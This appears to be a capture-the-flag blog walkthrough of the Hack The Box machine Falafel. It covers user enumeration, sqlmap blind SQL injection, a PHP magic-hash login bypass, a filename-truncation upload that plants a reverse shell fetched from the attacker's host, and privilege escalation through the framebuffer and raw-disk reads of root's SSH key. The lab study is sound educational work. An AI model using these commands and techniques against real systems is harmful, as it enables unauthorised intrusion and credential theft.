HTB Falafel Walkthrough: SQLi, PHP Type Juggling and Privesc

Hack The Box's Falafel Machine Write-Up: User Enumeration, Blind SQL Injection, PHP Login Bypass, RCE Upload, and Linux Privilege Escalation.
- Posted on 2026-07-25
- Reading time: 7 min
HTB Falafel Walkthrough: SQLi, PHP Type Juggling and Privesc via /dev #
Initial reconnaissance #
We start with nmap : only two ports open, 22 (ssh) and 80 (http).
nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.73
nmap -sC -sV -p 80,22 -oA nmap/scripts 10.10.10.73The site displays a robots.txt that disables *.txt and a robots.txt that hides an extension is almost always an invitation to bruteforce it, so go ahead and gobuster:
gobuster -u http://10.10.10.73 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -t 30Among the results, it stands out cyberlaw.txt: an internal email from the admin complaining that a user, “chris,” managed to log into his account without a password and take control of the site via the image upload function. Essentially, the admin is describing the entire attack chain himself.
Username Enumeration with ffuf #
Before arriving at a precise plan, I try by hand some attempts of direct SQL injection in the username field (quotes, OR 1=1, basic stuff) — but the form responds with generic errors or nothing useful, so it's not the immediate path.
Looking more closely at the form responses, however, I notice something more interesting: the message changes depending on whether the username exists or not. If the username doesn't exist, the form says "Try again"; if it does exist but the password is incorrect, it says "Wrong identification: This difference is in itself an enumeration channel — there's no need to guess the password, just look at the message returned to determine if a username exists in the database.
I then test a wordlist of common names against the username field, filtering out the “standard” answers:
ffuf -c -w /opt/SecLists/Usernames/Names/names.txt \
-X POST -d "username=FUZZ&password=abcd" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://10.10.10.73/login.php \
-fs 7074-fs 7074 Filters out “Try again” (non-existent username) responses based on the size of the response, leaving only true positives. Out of the entire wordlist, only two names return “Wrong identification”: admin e chrisThese are the two good users to work with.
Blind SQL injection with sqlmap #
Since the error message changes based on the existence of the username, the field is almost certainly concatenated in a query like SELECT * FROM users WHERE username='...'This is exploited with a boolean-based blind SQLi, using the option --string of sqlmap to tell the tool which string in the response matches “true”.
sqlmap -r login-chris.request --level 5 --risk 3 --batch --string "Wrong identification"Parameter injection confirmed username, we move on to the dump:
sqlmap -r login-chris.request --level 5 --risk 3 --batch --string "Wrong identification" --dumpTwo md5 hashes come out: that of chris It gets cracked right away by sqlmap itself (juggling), that of admin no — not even with hashcat and rockyou.
Bypass admin login: PHP type juggling #
The admin hash (0e462096931906507119562988736854) begins with 0e followed by digits only. In PHP, if the comparison uses == instead of ===, a string of the type "0e123" It is interpreted as scientific notation (0 to the power of something), so:
php > var_dump("0e462096931906507119562988736854" == "0e123456789");
bool(true)There are lists of known strings (so-called magic hash) whose md5 produces exactly this pattern. Using 240610708 as a password, the server-side comparison is “true” even though the real password is not known, and you log in as admin.
RCE via upload: file name truncation #
From admin it unlocks upload.php: takes a URL, downloads the image and saves it with the same name, with whitelist on extensions (png, gif, jpg). Before finding the right path, quite a few attempts fail — I'll talk about this in more detail, with all the payloads tried and why they don't work, in This article is dedicated to file upload attacks. In short, they didn't work here:
http://IP:8081/cmd.php'; echo png # -> nessun upload
http://IP:8081/cmd.php';test.png -> stringa intera salvata così com'è
http://IP:8081/cmd.php;.jpg -> accessibile solo col path completo
http://IP:8081/cmd.php%00.jpg -> null byte non funziona (PHP moderno)
http://IP:8081/cmd.php%27%3b%20echo%20test%23.png -> richiesta per l'URL intero, non bypassa nullaThe turning point comes from a detail in the admin profile: a reference to the length limits. I try manually, without automatic mechanisms, sending a 300-character file name (a sequence of A followed by .png):
URL="http://10.10.14.x:8081/$(python3 -c 'print("A"*300)').png"
curl -s -X POST \
-H 'Referer: http://10.10.10.73/upload.php' \
--data-urlencode "url=$URL" \
'http://10.10.10.73/upload.php'The server responds with an error like "The name is too long" and tries to truncate the name to fit it in. Looking at the truncated string it returns, I understand two things: the truncation kicks in well after 232 A initials, and they are cut exactly the last 4 characters, not a random number. Doing the math across various attempts, the actual limit is 236 total characters saved.
So the plan is: build a 236 character name that ends in .php, and add to the queue .png just to pass the whitelist check. The server truncates that very thing. .png final, and what remains saved on disk ends up .php — executable file, whitelist bypassed.
I get a PHP reverse shell from revshells.com, I save it in a local folder with a name that exactly matches the pattern (232 characters padding + .php), and serve it with the Python webserver:
mv revshell.php "$(python3 -c 'print("A"*232)').php"
python3 -m http.server 8081At that point I simply uploaded the file from the URL that pointed to my renamed reverse shell, with .png final that the server truncates.
The server response confirms the path where the file was saved (with extension .php I set up a listener and call the file to activate the reverse shell:
nc -lnvp 4444
curl "http://10.10.10.73/uploads/<dir>/AAAA...php"Shell as www-data:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Technical note: why is the cut not at 255 but at 236? #
A legitimate concern: ext4 (the VM's filesystem) has a 255-byte limit for filenames, so you'd expect the file to be truncated exactly there. However, the observed truncation occurs much earlier, around 236 characters—so it's not the filesystem that's truncating.
The message that the server returns ("The name is too long...", "Trying to shorten...", "New name is...") is not system output: it is text printed by PHP code written specifically by the box, in a validation file which is not the one we read (upload.php) — likely a separate file not recovered during exploitation.
Not having the original code at hand, the most plausible logic, reconstructed from the observed behavior, is something like this:
<?php
$max_length = 236; // soglia osservata nel comportamento
if (strlen($filename) > $max_length) {
echo "The name is too long, " . strlen($filename) . " chars total.\n";
echo "Trying to shorten...\n";
$filename = substr($filename, 0, $max_length); // tiene solo i primi 236 caratteri, il resto va perso
echo "New name is " . $filename . ".\n";
}The weak point is that substr It simply cuts everything that exceeds the threshold, without looking for an extension or other text in between. The calculation in our payload adds up to this: 232 A + .php make exactly 236 characters, that is, the file remains complete up to that point; adding .png At the end, you get to 240 characters in total, 4 over the threshold. The filter keeps the first 236 and throws away the rest — and those 4 extra characters coincide exactly with .png. Result: what remains saved is ...php, a real executable file, even if the initial check had validated a .png.
Privesc: www-data → moshe #
In the site files, connection.php contains the database credentials:
define('DB_USERNAME', 'moshe');
define('DB_PASSWORD', 'falafelIsReallyTasty');Password recycled also for the system user moshe:
su mosheuser.txt it's there, in his home.
Privesc: moshe → yossi (framebuffer) #
The groups to which Moshe belongs are not the usual ones. Among them is video, which gives access to /dev/fb0, the video card's framebuffer. With w it is noted that yossi is physically logged into the console (tty1) — so it has something displayed on the screen at that moment.
cat /dev/fb0 > screenshot.raw
cat /sys/class/graphics/fb0/virtual_size # risoluzione dello schermoThe file must be downloaded and rebuilt as an image. The old "open in GIMP as Raw image data, set the resolution, try RGB565" method is no longer reliable: recent versions of GIMP have changed the raw import dialog and no longer display all the framebuffer pixel formats (offset, endianness, channel order) with the same ease, so it often happens that you end up with only noise even with the theoretically correct format.
To avoid wasting time trying to figure out what to do in GIMP, I wrote myrawpng , a script that automatically bruteforces all reasonable pixel formats (bgr0, rgba, bgra, rgb565, etc.) using ffmpeg and ImageMagick, and generates a PNG for each combination in a folder — then just loop through them and find the readable one:
myrawpng screenshot.raw 1176x885Among the various PNGs generated, more than one is readable: in at least one there is literally a screenshot with the password of yossi clear.
ssh yossi@10.10.10.73Privesc: yossi → root (disk group) #
Yossi groups include disk, which gives direct read access to raw devices (/dev/sda1, /dev/sda5 (swap), completely bypassing permissions on individual files in the filesystem — because you're reading the physical block, not going through the VFS. I'll talk about this in detail, with all the Linux groups exploitable for privesc, in this article.
With debugfs I mount the main partition as logical read-only and go straight to the root SSH private key, without needing to read flags or shadows:
debugfs /dev/sda1
debugfs: cat /root/.ssh/id_rsaI copy the output to a local file, adjust the permissions, and log in directly as root:
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.10.10.73Source code analysis #
Once inside as www-data, you can read the site's actual PHP code. It's worth analyzing it piece by piece, because it confirms exactly every bug exploited so far.
login_logic.php — here is the vulnerable query:
$sql = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($db,$sql);
$users = mysqli_fetch_assoc($result);The username is pasted into the SQL string without escaping or a prepared statement: hence the blind SQLi. Immediately after:
if($password == $users['password']){Comparison with == instead of === on the hash: hence the bypass with magic hash on admin. There's also an anti-injection filter, but only on certain keywords:
if(preg_match('/(union|\|)/i', $username) or preg_match('/(sleep)/i',$username) or preg_match('/(benchmark)/i',$username)){
$message="Hacking Attempt Detected!";
goto end;
}Block union, sleep, benchmark — but it doesn't block a blind boolean-based one at all with AND/OR e substring(), which is exactly what sqlmap used.
authorized.php — decides who can see what:
if(basename($_SERVER['PHP_SELF']) == 'upload.php'){
if($_SESSION['role'] != 'admin'){
header('Location: profile.php');
exit();
}
}A simple session role check: if you're not an admin, upload.php redirects you to profile.php. This check itself is correct—the problem is that you're already "admin" there thanks to the previous bug, so this gate is practically useless.
upload.php — here is the download logic and the whitelist:
$extension = strtolower($file['extension']);
$whitelist = ['png', 'gif', 'jpg'];
if (!in_array($extension, $whitelist)) {
throw new Exception('Bad extension');
}It only checks what's written after the last dot in the file name. There's no length check here—which is why truncation (which happens elsewhere, as explained above) bypasses it: the extension check is done before that the name is truncated on save, so when checking the name looks legitimate .png.
$cmd = "cd $userdir; timeout 3 wget " . escapeshellarg($good_url) . " 2>&1";
$output = shell_exec($cmd);Here the server literally executes a shell command (wget (on the URL provided) inside a dedicated folder. escapeshellarg() It protects against command injection on the URL itself, but does not protect against the fact that the downloaded file can then be executed as PHP if it ends with that extension.
profile.php — output only, no security logic: prints different contents based on $_SESSION['user'], hardcoded for chris e adminIt does not introduce any vulnerabilities but confirms that the role/username is blindly trusted by the session once authenticated.
Conclusions #
Falafel is a box that nicely chains together different techniques: user enumeration, blind SQLi, PHP type juggling, a non-trivial truncation bug in upload, and ends with two privescs that exploit membership in little-regarded Linux groups (video, disk) instead of the usual SUID or sudo -l. It's worth doing it again with a cool head to understand each step, without immediately looking at the final script.








